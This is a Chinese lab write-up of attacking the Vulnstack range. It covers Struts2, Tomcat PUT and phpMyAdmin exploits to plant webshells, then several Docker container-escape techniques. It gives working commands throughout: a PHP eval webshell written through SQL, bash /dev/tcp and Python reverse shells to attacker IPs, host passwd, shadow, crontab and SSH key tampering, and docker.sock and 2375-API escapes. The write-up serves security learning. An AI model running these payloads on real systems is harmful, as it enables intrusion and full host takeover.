靶机介绍
下载地址
http://vulnstack.qiyuanxuetang.net/vuln/detail/6/
网络拓扑
环境说明
ubuntu:ubuntu
域成员机器:douser:Dotest123
DC:administrator:Test2024
外网IP:192.168.157.0/24
内网IP:192.168.183.0/24
开启docker
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d
信息搜集
由于知道ip段,主机发现就不做了
端口扫描
sudo nmap -sT -sV -O -p- 192.168.157.128
根据扫描的端口情况,目前攻击面最大的是2001、2002、2003
漏洞扫描
简单做个漏扫
sudo nmap --script=vuln -p22,25,110,2001,2002,2003 192.168.157.128
没有什么东西
Web渗透
直接访问这三个web页面
2001端口,随便上传文件发现后缀为.action文件,Java后端,可能是struts2框架
2002端口,tomcat页面8.5.19,存在PUT文件上传
2003端口,未授权phpmyadmin,版本:4.8.1
三个web服务都可能存在漏洞进行getshell
Struts2-Getshell
struts2使用漏洞利用工具进行探测一下
存在S2-046/S2-045版本,且为root权限
Tomcat-Getshell
tomcat此版本存在PUT文件上传
哥斯拉生成jsp马
Burp抓包上传
PUT /shell.jsp/
哥斯拉连接
phpmyadmin-Getshell
phpmyadmin版本4.8.1存在文件包含漏洞,CVE-2018-12613;
原理简单说就是其内部的安全检查函数checkPageValidity()中的逻辑可以被两次url编码绕过,然后通过利用php中include解析的特性,就可以实现任意文件包含。后续可以通过包含数据库文件或包含session文件来实现RCE。
先利用poc验证一下
http://192.168.157.128:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
可读取passwd文件
接下来通过包含session文件来RCE,在phpMyAdmin界面执行如下SQL语句进行写马
SELECT "<?php phpinfo();file_put_contents('shell.php','<?php @eval($_REQUEST[a]);?>');?>";
Cookie中找到phpMyAdmin的键名,它的键值就是服务器session文件中的sess_后半部分,这样就可以包含文件了
http://192.168.157.128:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_78a211e5662749b11d2cde5d63c9dd30
写入的是shell.php,蚁剑连接
上线MSF
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.111.128 lport=4444 -f elf > shell.elf
上传shell.elf反弹不到shell
生成shell.jsp也无法反弹到shell
使用bash反弹shell发现网络不可达
bash -i &>/dev/tcp/192.168.111.128/4444 0>&1
猜测上面上传的shell文件也都是网络不可达导致没有反弹shell
最后还是无法上线到MSF,先利用webshell吧
内网渗透
信息搜集
查看本地ip发现172开头,且ifconfig无法使用
ip add
猜测是docker环境,docker环境默认172段开头,且web访问的地址是192开头的,但这里并没有192的网卡
查看根目录文件发现docker文件,也可以确定是docker环境
对于docker环境拿到的shell不是宿主机shell,需要进行docker逃逸
发现可以查看磁盘情况,说明容器是以Privileged 特权模式启动的
Docker逃逸
那就可以进行挂在宿主机磁盘达到docker逃逸
fdisk -l
创建将宿主机挂载的目录,挂载宿主机磁盘
mkdir /szj
之后可查看宿主机的密码文件
更改/passwd和shadow文件
直接写入一个账户进去,复制本地的账户即可
kali:x:1000:1000:kali,,,:/home/kali:/usr/bin/zsh
kali:$y$j9T$3S4UFKYtFKVcudcxm49WW/$60RWlEeDrSGs3QLyMM/.uBWaxjF2VeYULSjzWXx.8W/:19740:0:99999:7:::
写入到宿主机的密码文件
echo 'kali:x:1000:1000:kali,,,:/home/kali:/usr/bin/zsh' >> szj/etc/passwd
echo 'kali:$y$j9T$3S4UFKYtFKVcudcxm49WW/$60RWlEeDrSGs3QLyMM/.uBWaxjF2VeYULSjzWXx.8W/:19740:0:99999:7:::' >> szj/etc/shadow
成功写入账户
尝试ssh连接
虽然写入账户,但提示密码错误,无果
写入ssh公钥
生成密钥
ssh-keygen -t rsa
-t指定生成密钥的加密算法
查看宿主机下的authorized_keys文件
ls -l
宿主机root目录下没有任何文件,其实到这里写公钥就失败了
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPRPP2lDzjh5V62lSULoKoKrCUm+gHcetwJzuB4QxnTIcl73dgd69SkZ+AzrB/W6/P6CLWErYXQSLYmFhMRSRVETS0ZvQ9wG1QcjTKx7K3ZDqNrDoC2f8W1wSWvXYxeszapLd1EDKMaObiiuO8fDHM+RfuMobmh7Tzf99EceW69lVw+rMJdacCV2RtV9CD1mnG0gRLnCLLvOAmUNSGtZCslKAtPbFP1sT94zQxSfKO2PWbojRgTAh3u1KXP7qD5EINbxOybpMbfUiLRQbJsuakaj4pi/HM47ccier1446+dZGovaEaiE9MKtQVtqDxPgyWg6w3vIXEw2270V+FkAdBsMqgkPjZeuk/OriSUPvyb8f0mPo5laUGlf50OZjbIaFmAmCjBUyCt1vJkIonyo+/c+VH+N/nsfPnSg7RaYHZSow4iWC+AAsDZ8ILsDZL0ymEx7AAf11/NpTXeVvPnbBBQMCNTH4jEJmyMYCxMkXVM1IoVHoEsoteqCIAUXukV3s= root@kali' >> szj/home/ubuntu/.ssh/authorized_keys
无法进入,上传到对应目录
指定密钥文件还是需要密码,无果
计划任务反弹shell
#新建一个.sh文件并加执行权限
touch szj/tmp/test.sh
chmod +x szj/tmp/test.sh
ls -l /szj/tmp/test.sh
#
echo "#!/bin/bash" >> szj/tmp/test.sh
echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.157.128/1111 0>&1" >> szj/tmp/test.sh
cat szj/tmp/test.sh
#或者直接一条命令
sed -i '$a\/bin/bash -i >& bash -i >& /dev/tcp/192.168.157.128/1312 0>&1' szj/tmp/test.sh
#写入计划任务:
sed -i '$a*/2 * * * * root bash /tmp/test.sh' szj/etc/crontab
计划任务也无果
离线爆破
最后的办法,找到shadow文件的ubuntu用户,使用john爆破密码
ubuntu:$1$xJbww$Yknw8dsfh25t02/g2fM9g/:18281:0:99999:7:::
john ubuntu --wordlist=/usr/share/wordlists/rockyou.txt
将密码保存在ubuntu文件中,使用john爆破出密码ubuntu
ssh连接
提权
查看ubuntu权限
sudo -l
ALL全部权限
直接提权
sudo su
上线MSF
不知道什么原因,反弹不到shell到msf,本地执行shell文件msf也无法获取ubuntu的shell,不知道环境有什么问题,没有排查出来
(崩溃了,真的崩溃了)
后续思路
后续继续进行内网信息搜集,发现了ubuntu双网卡,并且存在域环境,可以使用fscan进行扫描一波,域成员和域控都存在ms17-010永恒之蓝,使用msf直接win7打ms17-010,拿下域成员;切换域成员session抓密码,利用ms14-068等域提权拿到黄金票据,攻击拿下域控。
后记
Docker逃逸
写在前面
docker容器逃逸也算是提权的一种手法,要更好的理解容器逃逸手法,应该知道从本质上看容器内的进程只是一个受限的普通Linux进程,而容器逃逸的过程完全可以理解为在一个受限进程中进行一些操作来获取未受限的完全权限,或者在原本受 Cgroup/Namespace 限制权限的进程获取更多权限。
Docker加速器
sudo vim /etc/docker/daemon.json
{"registry-mirrors": [
"http://f1361db2.m.daocloud.io",
"https://registry.docker-cn.com",
"https://reg-mirror.qiniu.com/",
"https://alzgoonw.mirror.aliyuncs.com",
"http://hub-mirror.c.163.com",
"https://docker.mirrors.ustc.edu.cn"
]}
Linux内核安全机制
容器逃逸的实质是从 Cgroup/Namespace 限制权限的进程获取更多权限,需要提到以下名词概念。
Namespace--->内核命名空间
Linux的namespace是一种内核特性,可以将系统资源进行隔离,每个隔离的部分被称为一个namespace。通过使用namespace,可以将不同进程之间的资源进行隔离,使得它们感觉像是在独立的环境中运行。
用简洁明了的话来说,namespace实现了容器与容器,容器与宿主机之间的隔离
而常见的privileged特权逃逸的本质也是因为特权环境打破了容器与宿主机直接的隔离实现了容器逃逸。
namespace的几种类型:
1、PID namespace:使得每个进程都有一个独立的进程ID,进程只能看到相同namespace下的其他进程。
2、User namespace:使得不同namespace下的进程可以有不同的用户和用户组ID,进程只能对相同namespace下的用户进行权限管理。
3、Mount namespace:使得每个namespace可以有独立的挂载点和文件系统层次结构,进程只能看到namespace下的文件系统。
4、Network namespace:使得每个namespace有独立的网络设备、IP地址、端口等网络资源,进程只能访问相同namespace下的网络资源。
5、UTS namespace:使得每个namespace有独立的主机名和域名,进程只能访问相同namespace下的主机名和域名。
通过使用这些namespace,可以在不同的进程之间实现资源的隔离,提高系统的安全性和稳定性
Cgroup--->控制组
Cgroup本质上是在内核中附加的一系列钩子(hook),当程序运行时,内核会根据程序对资源的请求触发响应的钩子,以达到资源追踪和限制的目的。在Linux系统中,Cgroup对于系统资源的管理和控制非常重要,可以帮助管理员更加精细化的控制资源的分配和使用。
Cgroup主要实现了对容器资源的分配,限制和管理。
Capabilities
Capabilities是Linux一种安全机制,在Linux内核2.2之后引入,用于对权限更细致的控制。
而容器社区一直在努力将纵深防护,最小权限等理念和原则落地。
单容器内信息收集
当我们拿到了一个shell,首先要判断的是当前环境是否为容器环境
查询cgroup信息
cat /proc/1/cgroup
什么是/proc/1/cgroup?
/proc/1/cgroup文件记录了进程的控制组 (cgroup) 信息。
在 Linux 系统中,当在容器中运行进程时,每个进程会被分配到一个或多个 cgroup 中,cgroup 可以对进程的资源使用进行控制和限制。从 CGroup 信息中,不仅可以判断我们是否在容器内,也能很方便判断出当前的容器是否在 Kubernetes(k8s) 的编排环境中
没使用 Kubernetes 的 docker 容器,其 cgroup 信息如下:
hugetlb:/docker/7429c43a1da80af2b4d6e1b35d890187323eb7e0e1260f32b0d708e0f5a5d536
而 Kubernetes 默认的,如下:
12:hugetlb:/kubepods/burstable/pod45226403-64fe-428d-a419-1cc1863c9148
/e8fb379159f2836dbf990915511a398a0c6f7be1203e60135f1cbdc31b97c197
可以稍微修改一下上述的语句
cat /proc/1/cgroup | grep -qi docker && echo 'In Docker' || echo 'Not Docker'
通过判断cat /proc/1/cgroup的输出内容是否有docker来判断是否是容器内的环境
容器环境:
非容器环境:
检查/.dockerenv文件
什么是.dockerenv文件?
.dockerenv文件是Docker守护进程的配置文件,它包含了Docker守护进程的运行参数和配置信息。这个文件通常用于配置Docker守护进程的行为,例如容器的网络设置、存储驱动、卷管理等。.dockerenv文件是一个文本文件,其中包含了一些环境变量,这些环境变量描述了Docker守护进程的状态和配置。这个文件通常由Docker守护进程的配置脚本生成,并保存在Docker守护进程的数据目录中。
简单来说,我们可以通过判断该文件是否存在来判断当前是否属于容器环境
ls -alh / | grep .dockerenv
值得注意的是: 如果你的shell权限过小的话(www-data、或是某一服务的用户),根目录下也是不存在.dockerenv文件的
查看硬盘信息
容器输出为空,非容器有内容输出
值得注意的是:Privileged 特权模式下是可以查看到内容的
fdisk -l
容器内环境:
非容器内环境:
我们可以通过上述方法快速判断当前的一个shell是否在容器环境内
而当我们成功的判断了当前环境是一个docker容器的环境,我们便要尝试容器逃逸。
Docker配置不当导致的容器逃逸
Linux 命名空间(NameSpace):实现文件系统、网络、进程、主机名等方面的隔离
Linux 控制组(cgroups):实现 CPU、内存、硬盘等方面的隔离
如果设定了以下配置就会导致相应的隔离机制失效:
其实原理很简单,就是通过权限的变更打破了原来的文件系统、网络、进程、主机名等方面的隔离
--privileged:使容器内的 root 权限和宿主机上的 root 权限一致,权限隔离被打破
--net=host:使容器与宿主机处于同一网络命名空间,网络隔离被打破
--pid=host:使容器与宿主机处于同一进程命令空间,进程隔离被打破
--volume /:/host:宿主机根目录被挂载到容器内部,文件系统隔离被打破
Priviliged 特权模式容器逃逸
privileged 特权容器可以说是业界最常见以及最广为人知的逃逸手法
privileged 特权容器的权限其实有很多,所以也有很多不同的逃逸方式,挂载设备读写宿主机文件是特权容器最常见的逃逸方式之一
如何判断当前容器是以Privileged 特权模式启动的呢?
使用 fdisk -l 查看宿主机的磁盘设备
如果不在 privileged 容器内部,是没有权限查看磁盘列表并操作挂载的
fdisk -l
使用 CapEff 来查看是否是特权模式
来判断容器是不是特权模式,如果是以特权模式启动的话,CapEff 对应的掩码值应该为 0000003fffffffff 或者是 0000001fffffffff
cat /proc/self/status | grep CapEff
非特权模式:
特权模式:
值得一提的是:
从对抗的层面上,不建议将逃逸的行为当成可以写入宿主机特定文件 (如 /etc/cron*, /root/.ssh/authorized_keys 等文件) 的行为,应该根据目标选择更趋近与业务行为的手法,容器逃逸的利用手段会比大部分情况下的命令执行漏洞利用要灵活。
以目标 “获取宿主机上的配置文件” 为例,以下几种逃逸手法在容易在防御团队中暴露的概率从大到小,排序如下(部分典型手法举例,不同的 EDR 情况不同):
1、mount /etc + write crontab
2、mount /root/.ssh + write authorized_keys
3、old CVE/vulnerability exploit
4、write cgroup notify_on_release
5、write procfs core_pattern
6、volumeMounts: / + chroot
7、remount and rewrite cgroup
8、websocket/sock shell + volumeMounts: /path
挂载主机procfs逃逸
我们常说挂载宿主机 procfs 逃逸,其本质上因为宿主机挂载了procfs,导致我们可以像宿主机内写入一段恶意的payload,比如反弹shell,然后利用代码制造崩溃,触发内存转储,就会执行我们恶意的payload。
什么是procfs
procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时。
什么是core_pattern文件?
core_pattern(核心转储模式)是Linux系统中的一个配置参数,用于定义在程序崩溃时生成核心转储文件的方式和位置。当一个程序发生崩溃(如段错误)时,操作系统会生成一个包含程序崩溃状态的核心转储文件,以便进行调试和故障排除。
如果宿主机中的 procfs 挂载到容器中,我们就可以进行容器逃逸了
环境复现:
sudo docker pull ubuntu
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
如果返回了两个 core_pattern 文件,那么很可能就是挂载了宿主机的 procfs
如果只找到一个目录,说明没有使用procfs挂载。
这也是挂载procfs可以逃逸的核心点
find / -name core_pattern
接下来我们需要找到docker在当前宿主机的绝对路径
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
workdir=/var/lib/docker/overlay2/e63b13da290a4acf22fc95837aff8086ae1b9e685cc88eb28474178aed9ce18c/work 0 0
将work子目录替换为merged子目录
/var/lib/docker/overlay2/e63b13da290a4acf22fc95837aff8086ae1b9e685cc88eb28474178aed9ce18c/merged
接下来我们需要准备一个反弹shell的脚本以及一个可以制造崩溃,触发内存转储的代码
先准备一个反弹shell的脚本
vim /tmp/.test.py
#!/usr/bin/python3
import os
import pty
import socket
lhost = "192.168.111.128"
lport = 4445
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
# os.remove('/tmp/.test.py')
s.close()
if __name__ == "__main__":
main()
接下来赋权并且将该脚本写到目标的 proc 目录下
chmod 777 .test.py
echo -e "|/var/lib/docker/overlay2/e63b13da290a4acf22fc95837aff8086ae1b9e685cc88eb28474178aed9ce18c/merged/tmp/.test.py \rcore " > /host/proc/sys/kernel/core_pattern
然后使用c写一个可以触发崩溃的程序
vim test.c
#include<stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
gcc test.c -o test
chmod 777 test
紧接着在攻击机上起监听
在容器内运行该程序
./test
成功反弹shell
ubuntu宿主机ip为130
挂载 Docker Socket 逃逸
什么是Docker Socket?
Docker Socket(也称为Docker API Socket)是Docker引擎的UNIX套接字文件,用于与Docker守护进程(Docker daemon)进行通信。Docker守护进程是Docker引擎的核心组件,负责管理和执行容器。Docker Socket允许用户通过基于RESTful API的请求与Docker守护进程进行通信,以便执行各种操作,例如创建、运行和停止容器,构建和推送镜像,查看和管理容器的日志等。
简而言之:当容器启动时以挂载Docker Socket的方式启动时,我们就可以尝试逃逸。
环境复现:
docker run -itd --name docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
判断当前容器是否挂载Docker Socket,如果存在文件则说明Docker Socket被挂载
docker exec -it docker_id /bin/bash
ls -lah /var/run/docker.sock
如何逃逸?
可以在容器内部创建一个新的容器,因为Docker Socket被挂载到了当前容器,所有我们可以将宿主机目录挂载到新的容器内部
即在容器内创建一个挂载了宿主机根目录的容器,然后将目录切换到根目录即可完成逃逸。
在当前容器内部安装docker命令行
docker exec -it docker_sock /bin/bash
apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh
第一条命令执行进入docker后,最后一条命令无法在docker中安装docker
假设最后一步已经完成
最后逃逸只需要在容器内部启动一个挂载宿主机根目录的容器即可
docker run -it -v /:/ning ubuntu /bin/bash
可以看到我们的id值发生变化,说明我们已经进入了一个新的容器内部
切换根目录
chroot /ning
查看etc/passwd
此时已经拿到宿主机的权限
容器漏洞CVE-2020-15257
前面说--net=host:容器与宿主机处于同一网络命名空间,网络隔离被打破,该cve的核心就是如此。
漏洞环境搭建
# 安装 metarget 靶场
git clone https://github.com/brant-ruan/metarget.git
cd metarget/
pip3 install -r requirements.txt
安装cve-2020-15257
./metarget cnv install cve-2020-15257
启动漏洞环境
docker run -it --net=host --name=15257 ubuntu /bin/bash
判断是否使用host模式
cat /proc/net/unix | grep 'containerd-shim'
有结果则说明当前容器启用了host模式
接下来使用大名鼎鼎的CDK
如何将CDK上传到容器内部?
1.webshell下直接上传
2.非webshell下的出网环境
#vps上面开启nc
nc -lvp 999 <cdk
#容器内写入
cat < /dev/tcp/[vps-ip]/[vps-port] >cdk
#反弹宿主机shell
chmod a+X cdk
./cdk run shim-pwn reverse [ip] [port]
kali监听
容器中运行cdk
./cdk_linux_amd64 run shim-pwn 192.168.111.130 4444
这里报错,正常情况已经获取到shell了
贴两张正常的图
Docker远程API未授权访问逃逸
docker的2375端口是干啥的?
Docker的2375端口主要用于Docker守护进程的监听和通信。它主要用于Docker容器的网络连接和通信,包括容器的启动、停止、删除等操作。该端口可以被Docker守护进程用于接收来自客户端的请求,并与其进行交互和通信。需要注意的是,使用该端口需要确保防火墙设置正确,以避免潜在的安全风险。
在早期的版本安装Docker是会默认将2375端口对外开放,目前改为默认只允许本地访问
如何开启远程访问
vim /lib/systemd/system/docker.service
ExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock -H tcp://0.0.0.0:2375
如何检测2375端口存在未授权?
这里推荐两种方式
1.
curl http://192.168.110.124:2375/info
docker -H tcp://192.168.110.124:2375 info
2.
IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && wget http://$IP:2375
分析一下第二种
IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && wget http://180.184.196.45:2375
1、hostname -i:这是一个用于获取本地主机IP地址的命令。它将返回主机的IP地址。
2、awk -F. '{print $1 "." $2 "." $3 ".1"}':这是一个基于awk命令的处理器,用于从IP地址中提取前三个字段,并将第四个字段设置为1,从而创建一个新的IP地址。例如,如果IP地址是192.168.0.10,这个处理程序将将其转换为192.168.0.1。
3、IP=hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' :这个命令将获取到的IP地址存储在一个名为IP`的变量中。
4、wget http://$IP:2375:这个命令使用wget工具向指定的IP地址和端口发送HTTP请求。具体来说,它尝试连接到Docker守护进程的REST API端点,通常默认使用端口2375。通过这个命令,可以从本地主机访问Docker守护进程,执行相关操作。
总的来说,这段命令的作用是获取本地主机的IP地址,并通过IP地址和端口号连接到Docker守护进程。
开启远程访问
ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock
保存退出后sudo systemctl daemon-reload #重载守护进程sudo service docker restart #重启docker服务systemctl status docker.service #查看docker运行情况
使用第一种方式探测docker未授权
curl http://192.168.111.132:2375/info
docker -H tcp://192.168.111.132:2375 info
查看镜像
docker -H tcp://192.168.111.132:2375 images
漏洞利用
使用命令拉取一个镜像,也可以使用已经存在的镜像
busybox镜像,镜像很小,命令很全
docker -H tcp://192.168.111.132 pull busybox
使用拉取的镜像启动一个新的容器,以sh或者/bin/bash作为shell启动,并且将该宿主机的根目录挂在到容器的/mnt目录下
docker -H tcp://x.x.x.x:2375 run -it -v /:/mnt beae173ccac6 sh 或者 /bin/bash
进入到/mnt目录即可逃逸到宿主机
写ssh公钥
在本地生成ssh公私钥对,将公钥内容通过echo写入靶机/mnt/root/.ssh/authorized_keys文件中
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPRPP2lDzjh5V62lSULoKoKrCUm+gHcetwJzuB4QxnTIcl73dgd69SkZ+AzrB/W6/P6CLWErYXQSLYmFhMRSRVETS0ZvQ9wG1QcjTKx7K3ZDqNrDoC2f8W1wSWvXYxeszapLd1EDKMaObiiuO8fDHM+RfuMobmh7Tzf99EceW69lVw+rMJdacCV2RtV9CD1mnG0gRLnCLLvOAmUNSGtZCslKAtPbFP1sT94zQxSfKO2PWbojRgTAh3u1KXP7qD5EINbxOybpMbfUiLRQbJsuakaj4pi/HM47ccier1446+dZGovaEaiE9MKtQVtqDxPgyWg6w3vIXEw2270V+FkAdBsMqgkPjZeuk/OriSUPvyb8f0mPo5laUGlf50OZjbIaFmAmCjBUyCt1vJkIonyo+/c+VH+N/nsfPnSg7RaYHZSow4iWC+AAsDZ8ILsDZL0ymEx7AAf11/NpTXeVvPnbBBQMCNTH4jEJmyMYCxMkXVM1IoVHoEsoteqCIAUXukV3s= root@kali" >> authorized_keys
ssh登录
ssh -i id_rsa root@192.168.111.132
值得一提的是:还可以关注2376端口
2375端口-->未加密
2376端口-->加密通讯
Docker用户组特性导致的权限提升
Docker 需要 root 权限才能跑起来,其运行的所有命令都是需要 sudo 来运行,而Docker 监护进程有一个特性,它能被允许访问 root 用户或者是在 docker 组里面的所有用户,这就如同拥有 root 的访问权限
简而言之,如果拿到了一个docker组内用户的权限,就可以提升到root权限。
这是因为Docker 守护进程会允许 root 用户和 docker组用户访问 Docker,给用户提供 Docker 权限和给用户无需认证便可以随便获取的 root 权限差别不大。
adduser dockeruser
usermod -G docker dockeruser
newgrp docker
su dockeruser
接下来以dockeruser的身份启动一个容器-->一个挂载了宿主机根目录的容器
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
没有chrisfosterelli/rootplease需要拉镜像
docker pull chrisfosterelli/rootplease
命令详解
上面那条命令 docker run -v /:/hostOS -i -t chrisfosterelli/rootplease,主要的作用是:从 Docker Hub 上面下载我的镜像,然后运行。参数 -v 将容器外部的目录 / 挂载到容器内部 /hostOS,并且使用 -i 和 -t 参数进入容器的 shell。
这个容器的启动脚本是 exploit.sh,主要内容是:chroot 到容器的 /hostOS (也就是宿主机的 /),然后获取到宿主机的 root 权限。
当然可以从这个衍生出非常多的提权方法,但是这个方法是最直接的。
本文中所提到的代码托管在 Github(https://github.com/chrisfosterelli/dockerrootplease),镜像在 Docker Hub(https://registry.hub.docker.com/u/chrisfosterelli/rootplease/)。
用户组提权命令详解链接:
https://mp.weixin.qq.com/s/C0JGXhBsCERNs1ZS9RjWEg
参考链接:
https://mp.weixin.qq.com/s/XsYWhBCxoVKVZVj3Ct-6ig
https://www.cnblogs.com/anata1133/articles/17804306.html